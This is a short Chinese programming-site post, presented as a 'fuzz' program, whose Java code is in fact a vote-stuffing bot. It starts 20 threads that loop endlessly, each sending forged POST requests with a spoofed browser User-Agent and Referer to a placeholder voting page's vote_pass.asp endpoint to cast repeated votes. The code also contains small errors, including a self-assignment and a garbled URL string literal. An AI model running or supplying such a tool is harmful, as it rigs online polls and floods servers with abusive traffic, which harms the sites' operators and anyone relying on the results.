当前位置:编程学习 > JAVA >>

java 写了个小fuzz程序

这周没忙什么,没做什么,没玩什么

CrackVote.java

package crack;

 import java.io.OutputStreamWriter;   
 import java.net.HttpURLConnection;   
 import java.net.URL;   
import java.util.Iterator;   
 import java.util.Map;   
import java.util.Map.Entry;   
 public class CrackVote implements Runnable {   
 
    private HttpURLConnection conn = null;   
        String urlAddr;
        Map map;
        int num;
        public CrackVote(String urlAddrTest, Map mapTest,int num){
         urlAddr = urlAddrTest;
         map = mapTest;
         num = num;
        }
  @Override
  public void run() {
        while(true){
         boolean isSuccess = false;
         StringBuffer params = new StringBuffer();
         Iterator it = map.entrySet().iterator();   
         while(it.hasNext()){   
             Entry element = (Entry)it.next();   
             params.append(element.getKey());   
             params.append("=");   
             params.append(element.getValue());   
             params.append("&");   
         } 
         if(params.length() > 0){   
             params.deleteCharAt(params.length()-1);   
         } 
         try{   
             URL url = new URL(urlAddr);   
             conn = (HttpURLConnection)url.openConnection();   

             conn.setDoOutput(true);   
             conn.setRequestMethod("POST");   
             conn.setUseCaches(false);   
             conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 
             conn.setRequestProperty("User-Agent", " Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0");
             conn.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
             conn.setRequestProperty("Accept-Language", "zh-cn,zh;q=0.5");
             conn.setRequestProperty("Referer", "xxx");
             conn.setRequestProperty("Content-Length", String.valueOf(params.length()));   
             conn.setDoInput(true);   
             conn.connect();   

             OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream(), "UTF-8");   
             out.write(params.toString());   
             out.flush();   
             out.close();   
            
             int code = conn.getResponseCode();   
             if (code != 200) {   
                 System.out.println("ERROR===" + code);   
             } else {   
                 isSuccess = true;   
                 System.out.println("Success!");   
             }   
         }catch(Exception ex){   
             ex.printStackTrace();   
         }finally{   
             conn.disconnect();   
         }   
       }
 }
       

 

crack.java

package crack;
import java.util.HashMap;
import java.util.Map;

import crack.CrackVote;

public class Crack  {
 

 public static void main(String args[]){
  Map hash = new HashMap();
  hash.put("id","25");
  hash.put("button", "%CD%B6%D2%BB%C6%B1");
  String addstr = "asp">http://www.xxx.com/xxx/6/vote_pass.asp";
  for(int i=0;i<20;i++){
   //CrackVote crackvote = new CrackVote(addstr,hash,i);
   //new Thread(crackvote).start();
   new Thread(new CrackVote(addstr,hash,i)).start();
  }
 
 }
 
}

补充:软件开发 , Java ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,